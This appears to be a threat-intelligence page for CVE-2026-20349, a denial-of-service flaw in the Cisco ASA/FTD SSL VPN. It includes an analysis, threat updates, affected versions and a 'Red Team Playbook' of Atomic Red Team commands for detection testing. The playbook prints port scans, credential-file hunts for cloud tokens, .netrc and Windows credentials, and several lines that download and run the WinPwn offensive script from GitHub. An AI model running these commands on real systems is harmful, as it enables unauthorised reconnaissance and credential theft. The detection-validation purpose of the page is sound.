CVE-2026-20349
Vulnerability Description
A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to insufficient error checking when processing HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the Remote Access SSL VPN service on an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Remote Access SSL VPN service of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software stems from insufficient error checking during the processing of HTTP requests. This flaw allows an unauthenticated remote attacker to craft specific HTTP requests that can manipulate the device’s operational state. When the device receives such a request, it may trigger an unexpected reload, leading to a denial of service (DoS) condition. The lack of robust validation mechanisms in the HTTP request handling process is the root cause of this vulnerability, highlighting a critical oversight in the security design of the affected software.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the sending of malformed HTTP requests to the Remote Access SSL VPN service. An attacker could leverage this flaw by targeting devices that are exposed to the internet, where the SSL VPN service is typically accessible. Once the crafted request is sent, the device may become unresponsive or restart, causing disruption in services for legitimate users. Attackers could automate this process, allowing them to launch multiple requests in a short timeframe, thereby increasing the likelihood of successfully triggering a reload and amplifying the impact of the DoS condition.
The real-world implications of this vulnerability are significant, particularly for organizations that rely on the affected products for secure remote access. A successful exploit could lead to substantial downtime, disrupting business operations and potentially affecting customer trust. The financial repercussions could include loss of revenue during outages, costs associated with incident response and recovery, and potential regulatory penalties if sensitive data is compromised or if the organization fails to meet compliance standards. Additionally, the reputational damage from service interruptions could have long-lasting effects on customer relationships and market position.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the affected software to the latest versions, which include patches addressing this vulnerability, is crucial. Network monitoring tools can be employed to identify unusual traffic patterns or suspicious HTTP requests directed at the SSL VPN service. Implementing intrusion detection and prevention systems can further enhance security by blocking malicious requests before they reach the device. Additionally, organizations should consider employing rate limiting and access control measures to restrict the exposure of the SSL VPN service to only trusted users, thereby reducing the attack surface.
In conclusion, the vulnerability in the Remote Access SSL VPN service of Cisco’s security products presents a serious threat that could lead to denial of service conditions if exploited. The technical details reveal a significant flaw in error handling, while the potential attack vectors highlight the ease with which an attacker could disrupt services. The impact on businesses can be profound, affecting operational continuity and financial stability. Therefore, proactive detection and mitigation strategies are essential to safeguard against such vulnerabilities and ensure the resilience of critical network services.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-20349, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition by CISA underscores the vulnerability’s elevated risk profile and prioritizes it for immediate attention within federal and critical infrastructure environments. Our telemetry indicates that while exploit attempts remain limited, the vulnerability’s CVSS score has been officially assigned at 8.6, reflecting a high-severity rating that aligns with the potential for disruptive denial of service conditions. Additionally, the EPSS score has increased, signaling a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or ransomware associations have emerged, the convergence of increased detection rates and authoritative cataloging heightens the urgency for defenders to monitor this vulnerability closely. This development elevates the overall threat level from theoretical to imminent, emphasizing the need for heightened situational awareness and rapid response capabilities to mitigate potential operational impacts.
Update 2 — August 22, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-20349, indicating increased probing and potential exploitation attempts targeting the Remote Access SSL VPN service in Cisco Secure Firewall ASA and FTD software. This uptick in telemetry suggests adversaries are intensifying efforts to leverage the vulnerability, likely exploiting the insufficient HTTP request error handling to induce device reloads and consequent denial of service conditions. While no new exploit variants or ransomware affiliations have been observed, the heightened detection frequency combined with the recent inclusion of this vulnerability in authoritative risk prioritization directives underscores an elevated operational risk. For defenders, this development signals a transition from a primarily theoretical threat to a more imminent and active exploitation landscape, necessitating enhanced monitoring and readiness to respond to potential service disruptions. Consequently, the threat level associated with CVE-2026-20349 has increased, reflecting a greater likelihood of exploitation attempts that could impact network availability and security posture.
Affected Products (197)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Secure Firewall Threat Defense | 10.0.0 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:10.0.0:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 10.0.2 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:10.0.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.0.1 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.0 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.0:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.1.1 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.1.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.1 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.2.1 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.2.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.2 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.3 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.3:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.4 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.4:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.5 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.5:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.6.1 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.6.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.6.2 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.6.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.6.3 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.6.3:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.6 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.6:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.7 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.7:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.8.1 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.8.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.8 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.8:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.0.9 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.0.9:*:*:*:*:*:*:*
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Cisco | Secure Firewall Threat Defense | 7.2.0.1 |
cpe:2.3:a:cisco:secure_firewall_threat_defense:7.2.0.1:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
13 eventsSighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-20349 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20349 |